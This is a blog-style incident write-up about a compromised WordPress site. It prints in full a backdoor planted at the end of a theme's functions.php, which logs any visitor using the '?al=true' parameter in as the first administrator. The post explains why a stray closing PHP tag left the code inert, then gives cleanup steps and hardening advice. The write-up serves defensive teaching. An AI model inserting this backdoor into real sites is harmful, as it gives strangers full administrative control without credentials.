Site with a banner at the top that shows it's been hacked

The Backdoor That Printed Itself

We’ve all gotten the message you never want to get. Mine came in at 11:57 in the morning: a WordPress site I help maintain had been flagged as compromised. Someone had gotten in and left themselves a way back.

Here’s the part I didn’t expect. By the time I finished reading the malicious code, I realized it had never actually worked. The attacker built a perfectly functional backdoor and then, through one tiny detail, accidentally disarmed it themselves.

Let me walk you through what happened, because the why is genuinely fun, and the lesson underneath it applies to anyone who runs a website.

 

What I Found

WordPress sites are built out of themes: the bundle of files that controls how your site looks and behaves. Almost every theme has a file called functions.php, which is basically a “run this code on every page load” file. If you’re an attacker who wants to live inside a site, that file is prime real estate. Whatever you put there runs constantly, quietly, on every single visit.

So that’s where I looked first. And sure enough, at the very bottom of the theme’s functions.php, after all the legitimate code, someone had pasted this:

?>
// _ea_al
add_action('init', function(){
    if(isset($_GET['al']) && $_GET['al']==='true'){
        if(!is_user_logged_in()){
            $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]);
            if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);}
            if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();}
        } else {wp_redirect(admin_url());exit();}
    }
}, 2);

If you don’t read code, don’t worry, I’m going to translate the whole thing in a moment. But if you do, you can probably already see both the cleverness and the fatal flaw.

What It Was Supposed To Do (The Non-Programmer Version)

Imagine your website is a house, and being “logged in as an administrator” means you’re holding the master key. You can change anything, see everything, lock anyone out.

A backdoor is a secret extra entrance someone hides on your house without telling you. This particular one was rigged like this: if anyone walked up and knocked in one specific, secret way, the house would instantly hand them the owner’s master key. No password. No questions. Just “oh, you knew the secret knock? Here, you’re the owner now.”

The secret knock was adding ?al=true to the end of any web address on the site. In code terms, here’s the chain of events the backdoor set up:

– On every page load, check: did this visitor include the secret ?al=true in the address?
– If yes, and they’re not already logged in, go find the site’s first administrator account.
– Then quietly issue this stranger a login session as that administrator — and whisk them straight into the site’s control panel.

That wp_set_auth_cookie() line is the dangerous one. It’s the part that says “stamp this visitor with the owner’s identity.” No username, no password, no second-guessing. Knock correctly, become the admin.

It’s a complete, working, no-credentials-needed master key. Or it would have been.

Why It Never Worked

Here’s the twist, and it comes down to a single character.

PHP, the language WordPress is written in, has a quirk. A PHP file isn’t all code. It’s code only inside special markers. The marker <?php means “start treating everything after this as instructions to run.” And the marker ?> means “stop; everything after this is just plain text to print on the page, not code to execute.”

Now look back at the very first line the attacker pasted:

?>

That ?> was already there at the end of the theme’s legitimate code. It’s a normal, harmless way for a file to end. But it meant the file had already switched out of “run this” mode before the attacker’s code began.

So when the attacker pasted their backdoor after that ?>, PHP didn’t see instructions. It saw text. The entire backdoor: the secret knock, the master-key handout, all of it was treated as meaningless words to be printed onto the page, the same way the words in this paragraph are just words. None of it ran. The secret knock did nothing, because the part that listens for it was never actually switched on.

The attacker wrote a working backdoor and then taped it to the outside of the locked door instead of installing it in the lock. It looked dangerous. It was inert.

I’d love to say this was caught by some brilliant defense. It wasn’t. It was a happy accident. The theme just happened to end its code with ?>, and that one stray marker neutered the whole attack. I’ll take the win, but I’m not going to pretend I planned it.

How It Got In

A failed backdoor is still a serious problem, because it means something got far enough in to write that file in the first place. A locked door doesn’t matter if the burglar is already standing in your living room.

When I went digging through the logs, the most likely culprit was an old administrator account left over from when the site was first set up years ago, one that had no password set in the database. That’s the kind of thing that happens during initial setup and then gets forgotten about forever. It’s not a flashy exploit. It’s just a door someone left unlocked a long time ago and stopped thinking about.

This is the real lesson, and it’s almost boring in how ordinary it is: most sites don’t get broken into through some genius zero-day. They get walked into through a forgotten account, an unused login, or a plugin nobody updated. The exciting-looking backdoor was the symptom. The forgotten passwordless account was the cause.

The Cleanup (Resolved by 12:49 PM)

From notification to resolved was about 52 minutes. Here’s what that hour actually involved:

Removed the malicious code from the theme file. (The fun part. Very satisfying to delete.)
Hunted down the way in: the leftover passwordless admin account, and deleted it.
Updated every plugin: A bunch were badly out of date, and out-of-date plugins are one of the most common ways WordPress sites get compromised. Each old plugin is a door that an attacker already has the blueprints to.
Turned on automatic updates so the plugins stay patched without me having to remember. The best security fix is the one that keeps working when you stop paying attention.
Scanned the logs to understand how far things had gone and whether anything else was touched.

That last step matters even when you think you’ve found everything. The visible backdoor is rarely the whole story, and “I removed the obvious thing” is not the same as “I confirmed nothing else is there.”

What You Can Take From This (Even If You’ll Never Touch Code)

If your eyes glazed over at the PHP, this is the part to keep:

1. Update everything, automatically: Old plugins and old software are the unlocked doors attackers try first. Turn on auto-updates so it happens whether or not you remember.
2. Kill accounts you don’t use: Especially old ones from when something was first set up. Every login that exists is a login that can be stolen. The fewer keys exist, the fewer can be copied.
3. Make sure every account actually has a real password: A “no password” account isn’t a low security risk; it’s an open door with a welcome mat.
4. A failed attack is still a warning shot: This backdoor didn’t work, but something still got in far enough to plant it. I treated it as exactly that serious, and you should too.

The backdoor in this story failed because of a single character the attacker didn’t account for. That’s a fun story. But I don’t want to rely on luck like that twice, and neither should you. The unglamorous stuff like updates, killing old accounts, and real passwords is what actually keeps the door shut.

That, and occasionally a stray ?> watching your back.

Leave a Reply